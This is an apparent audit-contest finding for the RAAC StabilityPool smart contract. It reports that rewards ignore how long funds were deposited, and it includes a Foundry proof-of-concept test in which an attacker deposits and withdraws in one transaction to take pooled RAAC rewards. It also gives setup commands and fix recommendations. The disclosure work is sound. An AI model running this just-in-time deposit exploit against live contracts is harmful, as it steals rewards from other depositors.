Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Exploit in StabilityPool Contract Allows Immediate Deposit and Withdrawal to Steal Rewards

Summary

The StabilityPool contract contains a vulnerability that allows users to exploit the reward calculation mechanism by depositing and withdrawing immediately to claim a disproportionate share of the accumulated rewards. This issue arises because the calculateRaacRewards function calculates rewards based on the user's deposit relative to the total deposits at the time of the call, without considering the duration of the deposit.

Vulnerability Details

The vulnerability is found in the calculateRaacRewards function of the StabilityPool contract. The function calculates the pending RAAC rewards for a user based on their deposit relative to the total deposits in the pool. However, it does not account for the duration of the deposit, allowing users to deposit and withdraw immediately to claim a proportion of the rewards.

function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
console.log("totalRewards", totalRewards);
if (totalDeposits < 1e6) return 0;
console.log("userDeposit", userDeposit);
console.log("totalDeposits", totalDeposits);
return (totalRewards * userDeposit) / totalDeposits;
}

Steps to Reproduce
Simulate Reward Accumulation: Mint RAAC tokens to the StabilityPool contract to simulate accumulated rewards.
User Deposit: A user deposits a small amount of rToken into the StabilityPool.
Attacker Deposit and Withdraw: An attacker deposits a large amount of rToken into the StabilityPool and immediately withdraws the same amount.
Claim Rewards: The attacker claims a disproportionate share of the accumulated rewards based on their temporary deposit.

function testuserCanWithdrawAllRewards() public {
// Simulate that there is raac reward accumulated in the system
vm.prank(owner);
raacToken.mint(address(stabilityPool), 1000);
// User who just deposited
vm.startPrank(user2);
uint256 initialAmount = 1 ether;
rToken.approve(address(stabilityPool), initialAmount);
crvusd.approve(address(lendingPool), initialAmount);
stabilityPool.deposit(initialAmount);
vm.stopPrank();
// Attacker who deposit and withdraw without accumulating rewards and steals raac rewards from the pool in one transaction (can take a flash loan)
vm.startPrank(user1);
uint256 raacBalanceBeforeDeposit = raacToken.balanceOf(user1);
console.log("Attacker raac balance before attack", raacToken.balanceOf(user1));
rToken.approve(address(stabilityPool), initialAmount * 10);
crvusd.approve(address(lendingPool), initialAmount * 10);
stabilityPool.deposit(initialAmount * 10);
stabilityPool.withdraw(initialAmount * 10);
console.log("Attacker raac balance after attack", raacToken.balanceOf(user1));
uint256 raacBalanceAfterDeposit = raacToken.balanceOf(user1);
console.log("How much the attacker stole", raacBalanceAfterDeposit - raacBalanceBeforeDeposit);
vm.stopPrank();
}

Impact

The impact of this vulnerability is significant as it allows users to exploit the reward calculation mechanism to claim a disproportionate share of the accumulated rewards. This can lead to an unfair distribution of rewards and potential financial losses for other users who have legitimately deposited their tokens for a longer duration.

Tools Used

Foundry: A smart contract development and testing framework.
Solidity: The programming language used to write the smart contracts.
Forge-std: A standard library for Foundry, used for logging and testing.

Recommendations

To fix this vulnerability, the reward calculation mechanism in the StabilityPool contract needs to be corrected. Specifically, the calculateRaacRewards function should be modified to ensure that rewards are calculated based on the duration of the deposit. Here are some recommendations:

Implement Lock-Up Period: Introduce a lock-up period during which users cannot withdraw their deposits. This ensures that users must hold their deposits for a minimum duration to be eligible for rewards.

Implement Reward Accrual Mechanism: Calculate rewards based on the duration of the deposit. This ensures that users who hold their deposits longer receive more rewards.

Commands to run in the terminal

mkdir ../raacFoundry
cd ../raacFoundry
forge init
rm src/Counter.sol test/Counter.t.sol script/Counter.s.sol
cp -r ../2025-02-raac/contracts src
touch test/Test.sol
npm install @openzeppelin/contracts
npm install @openzeppelin/contracts
npm install @openzeppelin/contracts-upgradeable
npm install @chainlink/contracts
forge test

Add this to the forge.toml file

[profile.default]
src = "src"
out = "out"
libs = ['lib', 'node_modules']
remappings = [
"@openzeppelin/=node_modules/@openzeppelin/",
"@chainlink/=node_modules/@chainlink/"
]

Add this to the test/Test.sol file

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/contracts/core/pools/LendingPool/LendingPool.sol";
import "../src/contracts/mocks/core/tokens/crvUSDToken.sol";
import "../src/contracts/core/primitives/RAACHousePrices.sol";
import "../src/contracts/core/tokens/RAACNFT.sol";
import "../src/contracts/core/tokens/RToken.sol";
import "../src/contracts/core/tokens/DebtToken.sol";
import "../src/contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../src/contracts/core/tokens/RAACToken.sol";
import "../src/contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../src/contracts/core/tokens/DeToken.sol";
contract StabilityPoolTest is Test {
address owner;
address user1;
address user2;
address user3;
address treasury;
StabilityPool stabilityPool;
LendingPool lendingPool;
RAACMinter raacMinter;
RToken rToken;
DebtToken debtToken;
DEToken deToken;
RAACToken raacToken;
crvUSDToken crvusd;
RAACNFT raacNFT;
RAACHousePrices raacHousePrices;
uint256 currentTime = 1672531200; // Example timestamp (January 1, 2023)
uint256 constant WAD = 1e18;
uint256 constant RAY = 1e27;
function setUp() public {
owner = address(this);
user1 = address(0x1);
user2 = address(0x2);
user3 = address(0x3);
treasury = address(0x4);
crvusd = new crvUSDToken(owner);
crvusd.setMinter(owner);
raacToken = new RAACToken(owner, 100, 50);
raacToken.setMinter(owner);
raacHousePrices = new RAACHousePrices(owner);
raacHousePrices.setOracle(owner);
raacNFT = new RAACNFT(address(crvusd), address(raacHousePrices), owner);
rToken = new RToken("RToken", "RToken", owner, address(crvusd));
deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));
debtToken = new DebtToken("DebtToken", "DT", owner);
uint256 initialPrimeRate = 5e27;
lendingPool = new LendingPool(
address(crvusd),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
initialPrimeRate
);
raacHousePrices.setOracle(owner);
stabilityPool = new StabilityPool(owner);
//forwardTime(1672531200); // Example timestamp (January 1, 2023)
vm.warp(currentTime);
raacMinter = new RAACMinter(
address(raacToken),
address(stabilityPool),
address(lendingPool),
owner
);
lendingPool.setStabilityPool(address(stabilityPool));
deToken.setStabilityPool(address(stabilityPool));
deToken.transferOwnership(address(stabilityPool));
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
address(crvusd),
address(lendingPool)
);
// svm.warp(currentTime);
debtToken.setReservePool(address(lendingPool));
rToken.setReservePool(address(lendingPool));
rToken.setMinter(address(lendingPool));
rToken.setBurner(address(lendingPool));
mintRToken(address(lendingPool), user2, 10 ether, 1);
mintRToken(address(lendingPool), user1, 10 ether, 1);
mintAndDeposit(user1, 100);
forwardTime(365 days);
mintNFTAndBorrow(user1, 1, 50, 25);
forwardTime(365 days);
mintAndDeposit(user3, 1);
}
function forwardTime(uint256 addTime) internal {
currentTime += addTime;
vm.warp(currentTime);
}
function mintAndDeposit(address userF, uint256 amount) internal {
console.log(("Minting and depositing "));
crvusd.mint(userF, amount);
vm.startPrank(userF);
crvusd.approve(address(lendingPool), amount);
lendingPool.deposit(amount);
vm.stopPrank();
}
function mintRToken(address from, address to, uint256 amount, uint256 liquidityIndex) internal {
vm.startPrank(from);
rToken.mint(from, to, amount , liquidityIndex);
vm.stopPrank();
}
function mintNFTAndBorrow(address user, uint256 nftId, uint256 nftValue, uint256 borrowAmount) internal {
console.log(string(abi.encodePacked("Minting NFT and borrowing ", Strings.toString(nftId), " ", Strings.toString(nftValue), " ", Strings.toString(borrowAmount))));
vm.startPrank(owner);
raacHousePrices.setHousePrice(nftId, nftValue);
crvusd.mint(user, nftValue);
vm.stopPrank();
vm.startPrank(user);
// Approve and mint the crvUSD tokens for the NFT
crvusd.approve(address(raacNFT), nftValue);
raacNFT.mint(nftId, nftValue);
// Set the house price in the oracle
// Approve and deposit the NFT into the lending pool
raacNFT.approve(address(lendingPool), nftId);
lendingPool.depositNFT(nftId);
// Borrow against the NFT
lendingPool.borrow(nftValue);
vm.stopPrank();
}
// Attacker can withdraw all rewards from the pool
function testuserCanWithdrawAllRewards() public {
// Simulate that there is raac reward accumulated in the system
vm.prank(owner);
raacToken.mint(address(stabilityPool), 1000);
// User who just deposited
vm.startPrank(user2);
uint256 initialAmount = 1 ether;
rToken.approve(address(stabilityPool), initialAmount);
crvusd.approve(address(lendingPool), initialAmount);
stabilityPool.deposit(initialAmount);
vm.stopPrank();
// Attacker who deposit and withdraw without accumulating rewards and steals raac rewards from the pool in one transaction (can take a flash loan)
vm.startPrank(user1);
uint256 raacBalanceBeforeDeposit = raacToken.balanceOf(user1);
console.log("Attacker raac balance before attack", raacToken.balanceOf(user1));
rToken.approve(address(stabilityPool), initialAmount * 10);
crvusd.approve(address(lendingPool), initialAmount * 10);
stabilityPool.deposit(initialAmount * 10);
stabilityPool.withdraw(initialAmount * 10);
console.log("Attacker raac balance after attack", raacToken.balanceOf(user1));
uint256 raacBalanceAfterDeposit = raacToken.balanceOf(user1);
console.log("How much the attacker stole", raacBalanceAfterDeposit - raacBalanceBeforeDeposit);
vm.stopPrank();
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!